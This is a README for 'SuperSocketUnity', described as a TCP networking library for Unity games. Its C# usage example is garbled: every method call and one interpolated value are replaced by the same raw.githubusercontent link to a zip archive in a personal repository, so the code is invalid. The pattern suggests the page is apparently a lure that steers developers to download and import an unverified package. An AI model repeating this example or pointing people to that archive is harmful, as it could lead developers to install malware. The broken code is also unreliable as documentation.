- Overview
- Features
- System Requirements
- Download & Install
- Getting Started
- Usage Example
- Support and Contributions
SuperSocketUnity is a high-performance TCP networking library designed for Unity. It focuses on optimizing mobile games and client applications. With SuperSocketUnity, connecting to a server and sending messages is straightforward, even for those without a technical background.
- High Performance: Built on UniTask for asynchronous operations with minimal overhead.
- Secure Connections: Supports SSL/TLS for secure data transmission.
- Protocol Compatibility: Works with both IPv4 and IPv6.
- Serialization Support: Native integration with Protocol Buffers for efficient data handling.
- Flexible Protocols: Easily customize protocols, including handling data efficiently.
- Memory Optimization: Utilizes object and connection pooling to reduce memory usage and improve performance.
- Logging and Tracking: A robust logging system helps with monitoring and debugging network activities.
- Mobile Optimization: Tailored for approval processes on iOS and Android platforms.
- Unity Version: 2021.3 or later
- Target Platforms:
- iOS
- Android
- Windows PC
To get started with SuperSocketUnity, visit the following page to download the latest release:
- Visit the Release Page: Go to the Releases page.
- Download the Latest Version: Look for the latest version and download the distributed package based on your development environment.
- Import into Unity: Open your Unity project. Drag and drop the downloaded package into your project window, or use the "Assets" menu to import the package.
After installing SuperSocketUnity, you can set up your project to use its features quickly.
- Create a Client Instance: Start by creating an instance of the UnitySuperSocketClient.
- Connect to a Server: Use the
ConnectAsyncmethod to link to your desired server's address and port. - Send Messages: Utilize the
Sendmethod to transmit messages to the server. - Handle Responses: Register for incoming messages with a custom message handler.
Here's a simple example to help you understand how to use the library:
// Create the client
var client = new UnitySuperSocketClient();
// Connect to the server
await https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip("127.0.0.1", 8080);
// Send a message
https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip<MyMessage>(1001, 1, new MyMessage { Text = "Hello Server!" }, out int seqId);
// Register the message handler
https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip(1002, (msgId, seqId, serverId, data) => {
var response = data as MyResponse;
https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip($"Received message from server: {https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip}");
});In this example:
- A new client is created.
- The client connects to a server at IP address
127.0.0.1on port8080. - A message is sent to the server, and a response handler is established.
If you encounter any issues or have questions, feel free to reach out. Contributions to the project are welcome. Please follow the guidelines on the GitHub repository for contributing.
Visit the Support Page for updates and assistance.
For detailed documentation, refer to the project's wiki. Your input helps improve this library for everyone.